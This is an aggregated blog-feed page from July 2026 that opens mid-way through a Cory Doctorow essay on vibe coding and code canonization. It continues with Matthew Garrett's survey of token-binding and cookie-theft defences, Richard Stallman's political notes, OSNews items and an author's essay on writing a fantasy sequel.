For so long as I thought of both of these groups as doing the same thing and getting wildly different outcomes, this was a paradox. But as soon as I realized that the former group were "centaurs" (workers who get to decide and direct their adoption of automation) and the latter were reverse centaurs (workers who were conscripted to serve as peripherals for automation systems), it all snapped into place. It only looked like they were doing the same thing – they were actually engaged in fundamentally different activities, which is why they were having such different experiences.

The same goes for vibe coding. Plenty of people I knew had gotten real value out of vibe coding personal utilities that made things better for them in a way that I instantly recognized from a life spent around people who'd been able to adapt and customize the systems they used to make their lives better:

https://pluralistic.net/2024/01/25/today-in-tabs/#unfucked-rota

Vibe coding can be seen as part of a lineage that includes shell scripting, Applescript, Hypercard and Visual Basic: ways for technical novices to directly create personal software, without having to ask a programmer to interpret their needs (and without having to pay every time they wanted to do something new with their computers):

https://pluralistic.net/2026/06/15/vernacular/#hypercardian

But if that's so, how to make sense of the seeming paradox of all that tech debt? For a tech company, code is a liability, not an asset:

https://pluralistic.net/2026/01/06/1000x-liability/#graceful-failure-modes

AI's pitch to bosses is that they can fire most of their workers in order to terrorize the remainder into tolerating a working life wherein they are made to mark the AI's homework, at superhuman speed, and to assume the blame when it goes wrong. This is obviously a terrible way to write code:

https://pluralistic.net/2024/04/23/maximal-plausibility/#reverse-centaurs

But it's also obviously going to produce terrible code:

https://pluralistic.net/2025/05/27/rancid-vibe-coding/#class-war

So is vibe code a way of empowering people to have the personal, vernacular tools that they design and adapt as they see fit? Or is it a way to shovel technological asbestos into the walls at scale, filling up our high-tech society with ghastly, lethal technical debt we'll be digging our way out of for generations?

Again: the paradox falls away once you realize that personal software you write for yourself is fundamentally different from "production code" that other people have to use, maintain and improve.

In an essay inspired by some thoughts on AI and mathematical theorem proving, Kellan Elliott-McCrea crystallizes this distinction in a really sharp way, bringing in Alex Kontorovich's idea of mathematical "canonization":

By canonization, I mean the process of taking a local, one-off formalization and turning it into library mathematics: general, reusable, coherent, efficient, and compatible with the rest… Canonization often changes the picture itself: the definitions, the abstractions, the API, and sometimes even the statement…

https://laughingmeme.org/2026/06/30/canonization-and-the-overhang.html

Elliott-McCrea posits that making code that is "socially constructed in a way that leaves the team prepared to operate on it, iterate it, and improve it" is the difference between "I got it working" and "something the future can build on."

He's not claiming that "I got it working" is worthless. There's plenty of space for "disposable and single use software." Sure, to a trained software engineer, this might be "bad code" but doing today's task has value, even if the code that performs that task isn't "accretive."

Canonization is accretive. To canonize code is to make it "legible to systems of humans and non-humans operating on it." Free/open source software is the backbone of the canon: "decades of…intelligible, build-on-able work, sitting in public repos."

My "reverse centaurs" thesis isn't just a way to understand how programmers who seem to be doing the same thing can have such different effects. It's also about how the way that the capital was raised for AI requires that it produce as many reverse centaurs as possible, because the only way to recoup the farcical sums associated with AI production is to fire millions of workers and replace them with defective chatbots backstopped by the jobspocalypse's terrorized survivors, who can be made to endlessly toil away at marking the AI's homework because there are so many other workers who'll take their jobs if they refuse.

The point being that while centaurs are good and reverse centaurs are bad, the AI bubble requires the production of reverse centaurs, to the exclusion of centaurs.

In a similar vein, Elliott-McCrea describes how the imperatives of the AI industry are devouring its seed-corn – consuming the canon without putting anything new back in it. In the same way that AI can do endless theorem-proving but is essentially useless for creating "library mathematics: general, reusable, coherent, efficient, and compatible with the rest," AI can write a lot of running code, but the AI industry is further devaluing the already undervalued work of cleanup and canonization. As Elliott-McCrea writes, "the social production of knowledge [is] the seed corn."


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#20yrsago Sen. Stevens’ hilariously awful explanation of the Internet https://web.archive.org/web/20060704034735/http://blog.wired.com/27BStroke6/?entry_id=1512499

#20yrsago Best music of 1900s-1920s as MP3s https://web.archive.org/web/20060703112442/http://www.foldedspace.org/weblog/2006/06/in_the_good_old_summertime.html

#15yrsago “No Endorsement” — aligning the interests of creators and fans https://locusmag.com/feature/cory-doctorow-no-endorsement/

#15yrsago Peruvian TV station owners held out for bribes that were 100X larger than those received by judges https://web.archive.org/web/20110705085927/http://fsi.stanford.edu/publications/how_to_subvert_democracy_montesinos_in_peru/

#10yrsago Paralyzed, partially deaf-blind teen with brain tumor beaten bloody by TSA https://wreg.com/news/disabled-st-jude-patient-sues-airport-and-tsa-after-bloody-scuffle-with-airport-police/

#10yrsago China’s “ultra-unreal” literary movement takes inspiration from breathtaking corruption https://lithub.com/modern-china-is-so-crazy-it-needs-a-new-literary-genre/

#10yrsago London luxury property prices plummet after Brexit vote https://www.standard.co.uk/news/london/london-house-prices-slashed-after-brexit-vote-a3285731.html

#5yrsago Biden admin orders an end to surprise billing https://pluralistic.net/2021/07/02/spoil-the-surprise/#surprise-billing

#1yrago Tessa Hulls's "Feeding Ghosts" https://pluralistic.net/2025/07/02/filial-piety/#great-leap-forward


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

07:42

Matthew Garrett: Preventing token theft [Planet Debian]

When you log into a service you’re given an authentication token. Each further request to the site includes that token, allowing the server to figure out who you are and ensuring that you have access to your data. Depending on site policy, this token may either be stored in memory (and so vanish if you restart your browser) or disk. The token is the proof of your identity. As far as the site is concerned, anyone with your token is you. These tokens may be traditional browser cookies, but they may also be stored in either site local storage or (if you’re not using a browser) in some other storage location.

In recent years we’ve seen infostealer malware (like LummaC2) gain the ability to exfiltrate user tokens, allowing attackers to gain access to the user’s data without needing to retain access to the user’s machine. This attack is viable even if the site has strong MFA requirements, so passkeys don’t help. Encrypting the tokens on disk doesn’t prevent the malware from scraping them out of the browser’s RAM or obtaining whatever key is used to encrypt them. This feels like a pretty hard problem to solve.

But that hasn’t stopped people from trying! Dirk Balfanz wrote an IETF draft describing a mechanism for using self-signed certificates for TLS authentication. This uses the mutual authentication feature of the TLS protocol that requires both sides prove their identity to each other. In regular TLS, the remote site presents a signed certificate that tells you who it is. When performing mutual authentication, you then present a certificate to the remote site telling it who you are. These client certificates are largely unused outside enterprise environments because they’re a huge pain to deploy. It’s not so much that this has sharp edges, it’s that it’s entirely made of sharp edges. Managing certificate deployment to your devices is hard. Browsers get confused if the certificates change under them. You have one certificate and it lives forever, so sites you present it to can track your identity. Users are prompted to choose a certificate to authenticate with, and if they pick the wrong one everything breaks and is hard to recover. I’ve deployed this and I did not have a good time.

But Balfanz’s idea was simple. Rather than require certificates to be deployed, browsers would simply generate a certificate on the fly. The goal wasn’t to prove the device or user’s identity in any global way - but it would associate a TLS session with a specific certificate. You could then, for example, include a hash of the certificate in the cookie, and if someone tried to use that cookie without presenting that certificate then the cookie could be rejected. If the browser used a hardware-backed private key for the certificate then it would be impossible for an attacker to steal it. Sure, you could still steal cookies, but you wouldn’t be able to use them.

This was written almost 15 years ago, and seems simple, elegant, and functional. It didn’t happen. Part of the reason for that is that, well, it wasn’t quite so simple. One problem was privacy related. Cookies are only sent after the TLS session is established, so anyone monitoring the network doesn’t know anything about the user identity. A naive implementation of this approach would have meant the client certificate being sent before session establishment, and now user identity can be tracked (no longer an issue if this was implemented on top of TLS 1.3, but this was a log time ago). This was avoided by reordering the client handshake, but that meant having to modify the TLS specification and implementations would have to be updated to support this. Another was that figuring out the granularity of the certificates was difficult. You’d want to use different certificates for every site to avoid them effectively becoming tracking cookies, but you need to provide the certificate before cookies are set, and you don’t know what origin the site is going to set in its cookies. If you generate a certificate for a.example.com and a different one for b.example.com, and a.example.com sets a cookie for *.example.com and includes the certificate you used for a.example.com, that cookie isn’t going to work on b.example.com and things are broken. This meant supporting it wasn’t as straightforward as it seemed - you’d need to ensure that your cookie scope was compatible with the certificate scope. You could probably make this work well enough by aligning it with the Public Suffix List, but there was still some risk of expectations not being aligned.

And, perhaps most importantly, TLS session resumption (replaced by pre-shared keys in TLS 1.3) somewhat defeats the purpose of the exercise - clients store state that allows them to re-establish a TLS connection without performing certificate exchange (this reduces overhead if a connection gets interrupted or you switch to a new network or anything along those lines), and anyone in a position to steal cookies could steal that state as well.

The followup attempt was channel IDs. This simplified the implementation somewhat - rather than certificates, a raw public key would be sent, along with proof of possession of the private key in the form of a signature over a portion of the TLS handshake. This was required even in the event of session resumption, which avoided having to worry about theft of session secrets. The timing of the exchange was after the encrypted session had been established, so user identity couldn’t be leaked that way either. Cookies could then be bound to this identifier. Unfortunately it didn’t really deal with the problem of scoping keys in a way that would match cookie requirements, and the spec suggests that the right way of handling this is to scope keys to TLDs, which would enable user tracking across sites (Chrome’s implementation apparently restricted it to eTLD+1, which would match the third party cookie policy and avoid the tracking risk).

Chrome added support for this, but it was removed in early 2018. The discussion of some of the pain points in that message is interesting, explicitly calling out problems with connection coalescing across domains and the incompatibility with zero-RTT TLS1.3. The overall consensus at the time seems to be that trying to solve this entirely at the TLS layer has too many rough edges, and a different approach should be taken.

And so almost 7 years after the initial draft for origin bound certificates, we come to token binding. This ended up being a rather more complex endeavour, covering 3 different RFCs describing how it impacts TLS, how to incorporate it into HTTP, and how to manage all the various parties involved in the process. The short version is that it’s pretty similar to channel ID, except that there’s also a documented mechanism for allowing tokens to be bound to one party and consumed by another, avoiding any need for widely scoped keys. Token binding effectively solved all the issues in the original proposal, but at the cost of somewhat more complexity.

The RFC was finalised in October 2018. Chrome removed its (incomplete, draft) support for token binding in November 2018. Edge carried support until late 2024. Despite getting all the way through the RFC process, it’s functionally dead.

The process up until this point had been largely initiated by Google, with Microsoft contributing significantly to the token binding standards. The work had been focused on identifying a generic solution to the problem rather than tying it to any specific authentication flow. The next step was in a different direction - rather than trying to fix this for the entire internet, how about we try to fix it for OAuth?

RFC 8705 is titled “OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens”. This is basically the 2011 approach, but (a) with an explicit definition of how the certificate should be incorporated into issued auth cookies, and (b) with a proviso that well uh if you’re going to use tokens issued by your IdP to authenticate to someone else then well you’re going to need to use the same cert for both. This is probably fine for the company-owned-laptop case where you’re actually fine with multiple sites being able to tie identities together (that’s kind of the point here!), and also works for “I am using an app and not a browser”, but doesn’t work for more generic scenarios. It also doesn’t seem to take the session resumption case into account at all? Support for RFC8705 seems poor, as far as I can tell of the big players only Auth0 implements it. In theory it works fine with self-signed client certs but in reality that’s going to be almost as difficult to support across multiple platforms as just issuing proper client certs in the first place, so deployment is going to be kind of a pain. But the good news is it doesn’t rely on any TLS extensions or custom browser behaviour, so at the client side it works fine with any browser.

Which brings us on to RFC 9449, “Demonstrating Proof of Possession”. This goes even further than RFC8705 in terms of reducing the burden of deployment - it works fine with existing browsers, and it doesn’t even require any certs. The client generates a keypair and provides the pubkey when requesting the cookie. The cookie contains the pubkey. Every request to the service now provides the cookie with the pubkey and also provides a signature over the URI and HTTP method. If the signature matches the pubkey in the token then clearly the signature came from the machine the token was issued to, and everything is good.

This does come with some downsides, though. The first is that it uses browser interfaces to generate the keys (typically crypto.subtle.generatekey()) and as far as I can tell there are no browsers that guarantee that that key is going to be generated in hardware even if it’s marked non-exportable, so anyone able to steal the cookies can also steal the keys. The second is that the signature only covers the URI and HTTP method, and not the message content or any other headers, so anyone able to exfiltrate a valid signature can replay it against the same URI with different message content. The recommended way to handle this is to reject any signatures that weren’t generated within the last few seconds, which is a wonderful additional way to allow clock skew to give you a Bad Day. And the third is that every single request has to be separately signed, which is not intrinsically a problem because computers are fast and have multiple cores, but if you’re trying to solve the first problem by sticking the key in a TPM then you’re dealing with something that’s slow and single threaded and that’s maybe acceptable if you’re using client certificates (because there’s going to be one signature per session and you can use the same session for multiple requests) but probably not if you’re dealing with a user opening a browser that restores previous tabs and each of those is a webapp that fires off 100 requests in parallel.

In case it wasn’t clear, I don’t like DPoP. It doesn’t feel like it actually solves the underlying problem that we see in the real world (malware running in a context where if it can grab the tokens it can grab the keys), it adds a massive amount of overhead, and it has baked in replay vulnerabilities. I don’t know why it exists and I’m incredibly suspicious of vendors telling me that it fixes my problems, because if they’re telling me that then I’m going to end up assuming that they either don’t understand my problems or they don’t understand their technology, and neither of those is good.

Still. Then we get to the thing that prompted me to write this - Chrome’s announcement that they had launched device-bound session credentials. This is interesting because it’s a Chrome feature that’s explicitly intended to counter on-device malware, which was one of the things that was out of scope in 2018 when token binding was being removed. Since this is entire web level it doesn’t have to be an RFC, and so is instead defined by W3C. I’m going to handwave all the complexity and say that it’s basically a way to register a public key when a cookie is issued, and then prove possession of the private key when it’s time to renew the cookie. By making the cookies shortlived and having support for rotating them in the background, user impact is basically zero and while it’s still possible for an attacker to exfiltrate and use a cookie they’ll only be able to do so for a short window before it needs to be refreshed - something the attacker can’t do, since they don’t have the private key. This avoids the DPoP overhead because you only need to do signing once per cookie per cookie lifetime, and not on every single request. I don’t like this due to the window where exfiltrated tokens can be used, but it feels like a strict improvement over the status quo. An extension called device-bound session credentials for enterprise allows pre-enrollment of device keys, so even though the actual runtime DBCE flow doesn’t involve certificates, certificates can be used for device registration in enterprise environments and you can make sure that auth cookies only go to trusted devices. Unfortunately this is Chrome-only, and so we’re going to need to wait for it to be backported to all the random app frameworks for it to have widespread support on mobile or for almost everyone’s desktop app that’s actually three websites in an Electron wrapper. Mozilla’s current position is that they’re not in favour of it, so I guess we’ll see where Safari lands in terms of broad uptake.

The last thing on my list is another client cert/OAuth binding, this one still in draft state at the time of writing. This one is aimed primarily at the use of agent-driven tooling, where you have something running in the background using a whole bunch of tools that are each acting on your behalf. Authenticating to all of them separately isn’t a fun time, but giving broadly scoped access tokens to a non-deterministic agent and trusting that it’ll never post them somewhere public also isn’t a fun time. The key distinction between it and RFC8705 is that it’s aimed at connections rather than sessions, which avoids the worries about session resumption. This is done with TLS Exporters, which in TLS 1.3 should be unique to the connection even over session resumption (TLS 1.2 may reuse some of the same key material for exporters over session resumption, so it’s recommended to enforce 1.3 for this). By providing a new signature alongside the cookie on every new connection, the client proves that it still has access to the private key. This is a very new spec and I haven’t had much time to work through it yet, but my naive understanding is that unlike RFC8705 this would require some additional client support to be able to regenerate the client signature on every TLS reconnection.

This doesn’t avoid all the problems that RFC8705 has, including how to scope certificates. For the agentic use case that probably doesn’t matter - all these tools are acting on behalf of the same user, it’s fine if all the sites involved know they’re the same user. But it doesn’t solve the general purpose user use case, and right now DBSC seems like the best we have there.

But. Part of me still wonders whether Dirk Balfanz’s approach was the right one. Yes, there’s risk associated with TLS session resumption, but in the worst case you could just switch that off for high risk setups. The cookie scope argument is real, and also in cases where it could violate privacy the site owner could already choose to broaden their cookie scope and violate your privacy, and in cases where it breaks things you could just not make use of it. The other problems are largely fixed by TLS 1.3, and then we’re just left with “Browsers handle client certificates badly” to which my answer is “Yes, and we should fix that anyway”.

Despite having a pretty good answer to this solution over a decade ago, the closest we have to actual deployment is something that offers strictly worse security guarantees. And tokens keep getting stolen, and compromises keep occurring, and for the most part people shrug and get on with things.

06:14

[1299] Bad by Comparison [Twokinds]

Comic for July 2, 2026

03:21

02:35

Moray Solves A Mystery [QC RSS v2]

Big news! We have a brand new archive page! Now you can SCROLL ENDLESSLY through the archive, or type in a comic number and read from there! I think it's very cool, and much better than the old "giant list of 6000 comics" version.

02:14

07/02/26 [Flipside]

Hello everyone! No page today, because I've fallen into a sudden burst of hyperactive fixing up of the website instead. So the update today is this: this website has receive MANY updates!

First of all, I've been wanting to fix the look of the site for awhile, so I tried to streamline it a bit. I removed the useless empty ad-hosting space at the top, added some images on the bottom, fixed some sections that were broken... some of the secret sections were badly out of date, like the April Fools archive. Some other secret sections like the Flipline and Audio Archives were not currently available, but now they are.

Most importantly, I added new secret sections to the website, including a very massive mega secret area which consists of many smaller secrets. The way to get into this is new, but is sort of similar to how you used to be able to get into the Flipline. I'll give you a hint, just look around a bit for something that is new, it's not actually that hard to find. If you get into this mega secret area, there are some additional new secret areas contained within, you just need to explore a bit. I also added some new explanations to things that were old and needed more explanations.

I'm not quite done yet, I still want to put some more work into revamping the website a bit more and adding new stuff. I'll keep you posted!

01:49

[$] LWN.net Weekly Edition for July 2, 2026 [LWN.net]

Inside this week's LWN.net Weekly Edition:

  • Front: Xsnow protestware; Git 2.55; Rhombus; kernel hardening; More LSFMM+BPF coverage; 7.2 merge window; Secure Boot certificate expiration; Ceph and Garage; OSPM 2026.
  • Briefs: Akrites; Mageia 10; Git 2.55.0; Podman 6.0; systemd v261; Creative Commons chat; Quotes; ...
  • Announcements: Newsletters, conferences, security updates, patches, and more.

00:14

Urgent: Reject "Great American AI Act" [Richard Stallman's Political Notes]

US citizens: call on your congresscritter and senators to reject the "Great American AI Act" and the propaganda terminology that appears in its name.

In my letter I explained that "AI" is a marketing hype term that the big tech companies use to make the public yield, and urged the legislators to reject it. I included the URL

https://gnu.org/philosophy/words-to-avoid.html#ArtificialIntelligance

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

US citizens: Join with this campaign to address this issue.

To phone your congresscritter about this, the main switchboard is +1-202-224-3121.

Please spread the word.

Urgent: Cease climate hushing [Richard Stallman's Political Notes]

US citizens: call on media outlets to cease climate hushing.

See the instructions for how to sign this letter campaign without running any nonfree JavaScript code--not trivial, but not hard.

Children hit by parents get worse grades [Richard Stallman's Political Notes]

A study found that children in England who were hit by their parents have a tendency to get worse grades in school.

This could indicate that hitting children tends to lead them to do worse in school tests. Or it could indicate that children who for certain other reasons tend to do worse in school will tend also to be hit by their parents. Is it the hitting itself that does them harm, or the situation that leads to the hitting, or both, or something else?

Israel attacked notary office in Lebanon [Richard Stallman's Political Notes]

Israel attacked a notary office in Lebanon, destroying records of land ownership for up to a quarter of a million people.

This seems to be a way of preventing them from ever returning to their homes, or to the wreckage of their homes.

Predicted collapse of Atlantic Meridional Overturning Circulation [Richard Stallman's Political Notes]

Scientists predict that the Atlantic Meridional Overturning Circulation (a loop of currents, some at the surface and some deep) will collapse due to global heating. They do not know whether that collapse will spread over many years, or happen with shocking speed. The activities to monitor the change have been defunded.

Estimated 10,000 corpses buried in rubble of Gaza [Richard Stallman's Political Notes]

An estimated 10,000 corpses buried in the rubble of Gaza will be difficult to identify ever. Israel's continued use of bulldozers in some parts of Gaza is increasing that number.

Hegseth speech at Normandy landings commemoration [Richard Stallman's Political Notes]

Hegseth went to a commemoration of the Normandy landings of 1944 for two events, but his speech at the first one at Colleville-sur-Mer was so racist and hateful that people in the town of Langrune-sur-Mer (where Hegseth had planned to appear) posted their disgust. This showed how vile he is and reverberated around the world.

Harassment of prisoners in Delaney Hall deportation prison [Richard Stallman's Political Notes]

Radio Jornalera NJ coverse the perverse, unpredictable harassment of prisoners in the Delaney Hall privately run deportation prison.

It is admirable nonviolent resistance to violent, sadistic fascism. But I wonder, is there any way to listen to it without subjecting oneself to nonfree JavaScript code? I have a hunch the people who do this, while heroic in resistance, are unaware of the quite different injustice of nonfree software, and have picked up the habit of handing control of their own computers to any and all companies that might want to snoop on them, cheat them or repress them.

Bullshitter and Iran say peace deal is close [Richard Stallman's Political Notes]

The bullshitter and Iran say they are coming closer to a peace deal.

We can't presume that the bullshitter is telling the truth about any of this. Even if some parts are true, other parts may be bullshit.

But even if they do make an agreement, the bullshitter might break it at any time. Iran too might break the agreement.

Indiana has excluded journalists from observing executions [Richard Stallman's Political Notes]

Indiana has excluded journalists from observing executions, pretending that this is a kindness to the convict who is executed.

I've read elsewhere that the victim is allowed to invite a limited number of people to attend, and can include journalists among those few. In other words, the victim has to pay a price to have a journalist there. This proves clearly that the state's exclusion of journalists is not meant as a kindness for the victim. If it were, the victim would be allowed to say "No, thanks. I don't object to the presence of any number of journalists."

This is censorship disguised as "We insist on protecting you whether you want it or not."

FBI raided voter registration group [Richard Stallman's Political Notes]

The FBI raided a voter registration group — in effect claiming that to help eligible citizens register to vote is forbidden.

So-called "AI" agents don't care about safety or reliability [Richard Stallman's Political Notes]

*Nvidia and Microsoft Researchers Say [so-called "AI"] Agents Don't Care About Safety or Reliability.*

I take exception to the idea that they understand anything enough to be said to "care". Rather, they give a rather unintelligent rule-based imitation of caring.

Separating the UK from the European Union [Richard Stallman's Political Notes]

Separating the UK from the European Union, explained as an example of trying a simple quick fix in a complex situation in which no simple fix exists.

KPMG article about agentic pretend intelligence [Richard Stallman's Political Notes]

KPMG decided to publish an article about agentic pretend intelligence in actual use. The staff asked a pretend intelligence to fill in the details. Great fun ensued — but not for KPMG.

Builders of Israeli "settlements" [Richard Stallman's Political Notes]

The builders of Israeli "settlements" (in occupied Palestinian territory) hold events around the world to sell apartments in them. One such event being held in London has triggered objections supported by 100 members of the houses of Parliament, who call for prohibiting the sale of land that was taken from Palestinians in violation of international law.

Criminalizing criticism of the government [Richard Stallman's Political Notes]

The US government is embarked on criminalizing criticism of the government. This started with targeting those who protested unjust government actions, continues through targeting people who write dissenting publications, then targeting people who have copies of such publications, and has now targeted someone for trying to protect others from being prosecuted for possessing copies of dissenting publications.

Very rich people undermine democracy [Richard Stallman's Political Notes]

Very rich people inevitably undermine democracy while impoverishing others to make themselves even richer. Taxing their wealth will help with both problems.

Peace deal with Iran actually 60-day cease fire [Richard Stallman's Political Notes]

The bushwhacked bully claims to have made peace with Iran, but actually it is a 60-day cease fire in which he concedes most of the concessions he said he was going to win, and kicks the other hard points down the road.

Here is a more complete description of what the agreement does not discuss. He has no respect for agreements, so he might restart fighting at any moment. Or he might not. But if he does not, the danger he will is likely to continue most of the harmful consequences that the war has had.

Wednesday, 01 July

23:56

OSNews statement on slopcoded “operating systems” [OSnews]

Recently, there has been a surge in slopcoded new/hobby “operating systems”. Such slopcoded projects – which, due to the nature of “AI” tools, effectively consist of stolen code – will not be featured on OSNews and submitting them is fruitless.

Other websites may choose to employ lower standards, as is their prerogative, but OSNews will not. I obviously cannot guarantee nothing will ever slip through the cracks, but I will take utmost care to ensure OSNews remains free of these so-called “sloperating systems”. Plagiarism, license-washing, and code theft have no place in the world of enthusiast and hobby operating systems.

European digital ID wallets are a gift to Google and Apple [OSnews]

European governments are rolling out digital identity wallets, which are to be used by citizens to access services, and to verify their age online. As reported by Follow the Money and Android Authority, there is a serious problem with this: these wallets rely on safety services of Google and Apple. These are known as Google Play Integrity API, and Apple’s Managed Device Attestation. Such safety services (known as “remote attestation”) are used to ensure that wallet apps run on hardware that is not tampered with. In this article we explain why the EU-wallet case is part of a bigger problem: by embedding these safety services in public infrastructure, Europe risks making society dependent on private companies while serving their corporate interests.

↫ Danny Lämmerhirt

Setting aside the age verification nonsense, the fact that some European government are tying their identification services to iOS and Google Android is absolutely bonkers, especially in this day and age. There’s endless talk about reducing European dependence on the American tech giants who seem all too eager to do roll over when the Trump regime so much as glances in their general direction, and yet, they seem to want to effectively force us citizens to use American tech products.

Essential online tools, like banking, government services, communication services, digital driver’s licenses, and more, should not require the use of iOS or Google Android.

“Apple should end their prohibition on shapes in MacOS app icons” [OSnews]

There’s a lot you can say about macOS, but one thing Apple used to be incredibly good at were making beautifully crafted, detailed icons. As with almost every other aspect of macOS, this deteriorated sharply over the years, with the recent macOS releases with Liquid Glass being an absolute low point. Not only have they become bland and featureless, Apple also started forcing every icons to have the exact same rounded-rectangle shape, making them even harder to distinguish from one another.

Rogue Amoeba, a company with a long history of developing applications with beautiful iconography, published a blog post pleading Apple to go back to proper icon design.

With last year’s release of MacOS 26 (Tahoe), Apple made a mess of app icons. In the first betas of MacOS 27 (Golden Gate), however, there are signs of a turnaround. We’re urging Apple to continue making improvements, by restoring the ability for MacOS app icons to have distinct shapes.

↫ Paul Kafasis at the Rogue Amoeba blog

I really hope Apple will turn its icon ship around.

21:56

Link [Scripting News]

A thought for people who think the US can't be fixed. I've seen very strange things happen, like all of a sudden people figure it out and boom next thing you know they're the NBA Champions. It wasn't exactly sudden, but the last leg of was. A gestalt. Now two leaders figure out how to. The thing about each of those people is determination, and a belief they were right, and they went right up to the edge and fought. I think the country would unite behind such a leader.

20:28

Modular Doom [Penny Arcade]

Gabriel misunderstanding things is one of our most profound genres; I should make up a keyword based on this propensity and begin utilizing its subtle power.

20:00

Linux ported to Sega’s Mega Drive [OSnews]

If you have a Sega Mega Drive, you obviously want to run Linux on it. That’s something you can do now. You do need to have an EverDrive, but don’t worry, the port in question contains a custom fork of Qemu for those of us that don’t.

I don’t know what else to say, other than I wonder why nobody did this sooner.

18:21

[$] Efficient access to local storage for BPF programs [LWN.net]

When a BPF program is used to filter or redirect packets in the networking subsystem, the program will often want to associate data with each packet as it moves through the kernel. The kernel's local BPF storage API, which associates extra data with some kernel objects, provides a way to do that. (See also the BPF map types that end in STORAGE.) Amery Hung and Jakub Sitnicki led two sessions at the 2026 Linux Storage, Filesystem, Memory-Management, and BPF Summit about how to make accesses to local storage data more efficient. Hung spoke about general performance problems related to locking, while Sitnicki examined the use of local storage in the networking subsystem in particular.

18:07

The Big Idea: Shalini Abeysekara [Whatever]

Ever wonder what really goes on after the “happily ever after” line? Author Shalini Abeysekara had closed the door on her previous novel, but left the door unlocked as she came back to that world to bring us This Blade of Ours, the sequel she never expected to write. Follow along in her Big Idea to see how the “happily ever after” ending got pushed back another book.

SHALINI ABEYSEKARA:
There are a few things an author hopes will happen after typing “The End.” One, that they can finally imbibe a glass of wine, fructose syrup drink, or another preferred poison and sleep off a creative high and a bittersweet farewell to their characters. Two, that future readers who arrive at this last page of their oeuvre will rave about the book. Three, that the author won’t have to partially undo some of their work.

Well, that last part hit a snag when my publisher requested a sequel to my debut romantasy, This Monster of Mine. I grabbed the book deal with both hands, of course; I’m not about to turn down a chance to revisit a world I loved. Yet, the first book’s villains had been defeated. The heroes were in power. Where was the story to go after “The End”? But wait. Is the end of a battle really the end of a war?
This Blade of Ours was the result of a thought experiment by an avid student of political history (me) and a very harried author who had six weeks to pull together a reworking of her duology (also me). What happens when the figureheads to an ideology have been defeated, but the governmental structures and fanatical adherents who carried those villains to power still persist? How do our heroes navigate a divided land that will now eye them critically since they’ve gone from underdogs to victors? Most importantly, how was I to provide some manner of answer to these questions while also rounding off this duology in a satisfying way?
The long answer as to how I pulled this off involves sleepless nights, more caffeine than any national health council would recommend, and equal parts self-pity and self-doubt. But the short answer was this: look to history and consider a ‘what if?’ My duology was already set in a world loosely-inspired by the Roman Empire at its height. I had drawn on the concept of the Tetrarchy—a ruling system instituted by Emperor Diocletian wherein two senior rulers managed the empire’s conquests and misadventures with two junior rulers shadowing them to take their place. The system was supposed to repeat ad infinitum, and many hands/heads were supposed to make light work. It certainly seemed to for close to thirty-one years. Alas, the rise of the Roman dictatorship put a quick end to that experiment.

My first book examined what that Tetrarchy might have evolved to: an oligarchy of four judges ruling the land. The book considered the pros and flaws of such rule, and the characters battled those who sought to steer it towards a dictatorship. Thus, I thought, it stood to reason that this sequel could examine the consequences of successfully halting that shift towards authoritarianism: irate supporters of book 1’s villains insisting that the whole final showdown was a farce, governmental structures in flux during a transition of leadership, accusations of a coup, religious leaders taking sides.

And romance of course, lest anyone forget that this is a romantasy. A book that perhaps felt timely but ancient, cataloguing the ouroboros of the human condition as much as trying to paint some facets in an engaging delight. To say it gave me immense joy to run untrammelled across a page when bringing this story to life would be an understatement. Finally, all those documentaries and hours of being a history nerd put to good use!
But readers (as I am) are loathe to be preached to and authors (as I am) are generally reluctant to preach. And though the Big Idea behind this book was a question, there are no answers to the human condition of in-groups, out-groups, war, greed, hope, and love. Only roads less travelled. I had already drawn from history.

So, I threw in elements history hadn’t seen. I pulled from the fantastical and built eldritch gods who begin an unusual divine intervention into the chaos of humanity: razing as many as they can because they really think we’re hopeless. I tried to steer from traditional romantasy tropes and leaned towards the deeply human. I gave my heroine and anti-hero vast reserves of determination, anger, and desperation. Enough to remain flawed, enough to keep fighting while questioning why they do. Their morals waver (to be fair, the anti-hero didn’t have many to begin with), their conviction falters, and their motivations grow selfish, but they fundamentally seek hope. As I think we all do, so that put any preachiness out of the picture. I hope.
